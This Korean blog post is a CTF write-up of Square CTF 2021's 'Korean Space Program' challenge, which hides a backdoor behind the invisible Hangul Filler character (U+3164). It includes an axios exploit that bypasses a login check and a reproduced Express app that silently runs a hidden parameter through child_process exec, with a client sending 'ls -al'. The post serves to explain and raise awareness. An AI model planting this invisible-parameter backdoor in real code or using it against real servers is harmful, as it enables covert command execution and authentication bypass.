<div id="readability-page-1" class="page"><div><h2 id="1-개요">1. 개요</h2>
유니코드 한글필터, 백도어 문제
<a href="https://squarectf.com/2021/koreanspaceprogram.html">문제 링크</a>
<h2 id="2-분석">2. 분석</h2>
<h3 id="1-코드">1) 코드</h3>
VS Code로 열었는데 노란색 박스 5군데가 표시되면서, 유니코드 U+3164는 안보인다고 경고합니다. 
<img src="https://velog.velcdn.com/images/skyepodium/post/0e5460f2-27fb-43c3-897f-88b997feae25/image.png">
<h3 id="2-한글필터">2) 한글필터</h3>
<a href="https://www.compart.com/en/unicode/U+3164#UNC_DB">한글필터</a> 는 눈에 안보이는 유니코드 입니다.
이슈는 유니코드는 변수명으로 사용될 수 있고, 한글필터를 사용하면 눈에 안보이는 변수로 속일 수 있습니다. 
<img src="https://velog.velcdn.com/images/skyepodium/post/8e38662f-9d59-4d6e-8746-9444f6657777/image.png">
<h3 id="3-백도어">3) 백도어</h3>
로그인 API에서 username, password 이렇게 2개 받는 것 처럼 코드 작성하고 마지막, 3번째 변수를 한글필터에 받고 잇습니다.
(그냥 문제니까 로그인을 GET으로 했다는건 일단 넘어가구) 
<img src="https://velog.velcdn.com/images/skyepodium/post/4f7b5e39-a240-4d05-b52a-ab0227df9ab0/image.png">
<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Equality">==</a> 은 동등연산자로 비교 대상의 자료형이 다르면 강제 형변환을 합니다.
number, str을 비교하기 때문에 좌측이 string이 됩니다.
따라서, 한글필터에 '3'을 넣어서, 전달하면, if문을 통과할 수 있습니다. 
<img src="https://velog.velcdn.com/images/skyepodium/post/c55f40ce-6edc-4a91-87c8-068b8010e0c7/image.png">
<h2 id="3-exploit">3. exploit</h2>
<pre><code>const axios = require('axios')

axios.get("http://localhost:8080/login", {
 params: {
 id: '',
 password: '',
 ㅤ: '3'
 }
})
 .then(res =&gt; {
 console.log('res', res.data)
 })
 .catch(err =&gt; {
 console.log('err', err)
 })</code></pre>
<img src="https://velog.velcdn.com/images/skyepodium/post/e19b6403-05bc-4caa-b34b-e8793c95cd8d/image.png">
<h2 id="4-해설">4. 해설</h2>
해설에 따르면 다음 글에서 영감을 얻었다고 합니다. <a href="https://certitude.consulting/blog/en/invisible-backdoor/">THE INVISIBLE JAVASCRIPT BACKDOOR</a>
다음 코드는 육안으로 백도어가 잘 식별되지 않습니다.
<pre><code>// app.js
const express = require('express')
const util = require('util')
const exec = util.promisify(require('child_process').exec)

const app = express()

app.get('/network_health', async (req, res) =&gt; {
 const { target,ㅤ} = req.query
 const checkCommands = [
 `ping -c 1 ${target}`,
 `curl -s ${target}`,ㅤ
 ];
 
 try {
 const execResult = await Promise.all(checkCommands.map(cmd =&gt; cmd &amp;&amp; exec(cmd)))
 res.status(200)
 res.send(execResult)
 } catch(e) {
 res.status(500)
 res.send('failed')
 }
});

app.listen(8080)</code></pre>
<pre><code>// client.js
const axios = require('axios')

axios.get("http://localhost:8080/network_health", {
 params: {
 target: 'google.com',
 ㅤ: 'ls -al'
 }
})
.then(res =&gt; {
 console.log('res', res.data)
})
 .catch(err =&gt; {
 console.log('err', err)
 })</code></pre>
백도어는 여기에 있으며, 몰래 시스템콜을 사용할 수 있습니다. 
<img src="https://velog.velcdn.com/images/skyepodium/post/d751fa75-0cce-442b-9ab8-f5c6c1f483cc/image.png">
디렉토리 조회 <code>ls -al</code>을 파라미터에 넣어서 보냈고, 잘 조회됩니다. 
<img src="https://velog.velcdn.com/images/skyepodium/post/5de6a419-1935-4ec9-b0f8-c05c4dd04b0e/image.gif">
<h2 id="5-소감">5. 소감</h2>
어렸을때 게임 닉네임 투명으로 했었는데, 개발자 되고 다시보니, 여러가지로 안좋을 수 있구나, 개발자 힘들구나
<img src="https://velog.velcdn.com/images/skyepodium/post/27f51849-9bac-4be4-924d-7f235ab7cb6c/image.png"></div></div>

skyepodium.log

1. 개요
유니코드 한글필터, 백도어 문제
문제 링크
2. 분석
1) 코드
VS Code로 열었는데 노란색 박스 5군데가 표시되면서, 유니코드 U+3164는 안보인다고 경고합니다.
2) 한글필터
한글필터 는 눈에 안보이는 유니코드 입니다.
이슈는 유니코드는 변수명으로 사용될 수 있고, 한글필터를 사용하면 눈에 안보이는 변수로 속일 수 있습니다.
3) 백도어
로그인 API에서 username, password 이렇게 2개 받는 것 처럼 코드 작성하고 마지막, 3번째 변수를 한글필터에 받고 잇습니다.
(그냥 문제니까 로그인을 GET으로 했다는건 일단 넘어가구)
== 은 동등연산자로 비교 대상의 자료형이 다르면 강제 형변환을 합니다.
number, str을 비교하기 때문에 좌측이 string이 됩니다.
따라서, 한글필터에 '3'을 넣어서, 전달하면, if문을 통과할 수 있습니다.
3. exploit
const axios = require('axios')
axios.get("http://localhost:8080/login", {
    params: {
        id: '',
        password: '',
        ㅤ: '3'
    }
})
    .then(res => {
        console.log('res', res.data)
    })
    .catch(err => {
        console.log('err', err)
    })
4. 해설
해설에 따르면 다음 글에서 영감을 얻었다고 합니다. THE INVISIBLE JAVASCRIPT BACKDOOR
다음 코드는 육안으로 백도어가 잘 식별되지 않습니다.
// app.js
const express = require('express')
const util = require('util')
const exec = util.promisify(require('child_process').exec)
const app = express()
app.get('/network_health', async (req, res) => {
    const { target,ㅤ} = req.query
    const checkCommands = [
        `ping -c 1 ${target}`,
        `curl -s ${target}`,ㅤ
    ];
    try {
        const execResult = await Promise.all(checkCommands.map(cmd => cmd && exec(cmd)))
        res.status(200)
        res.send(execResult)
    } catch(e) {
        res.status(500)
        res.send('failed')
    }
});
app.listen(8080)
// client.js
const axios = require('axios')
axios.get("http://localhost:8080/network_health", {
    params: {
        target: 'google.com',
        ㅤ: 'ls -al'
    }
})
.then(res => {
    console.log('res', res.data)
})
    .catch(err => {
        console.log('err', err)
    })
백도어는 여기에 있으며, 몰래 시스템콜을 사용할 수 있습니다.
디렉토리 조회 ls -al을 파라미터에 넣어서 보냈고, 잘 조회됩니다.
5. 소감
어렸을때 게임 닉네임 투명으로 했었는데, 개발자 되고 다시보니, 여러가지로 안좋을 수 있구나, 개발자 힘들구나

Square CTF 2021 - Korean Space Program (feat: 투명 백도어)

댓글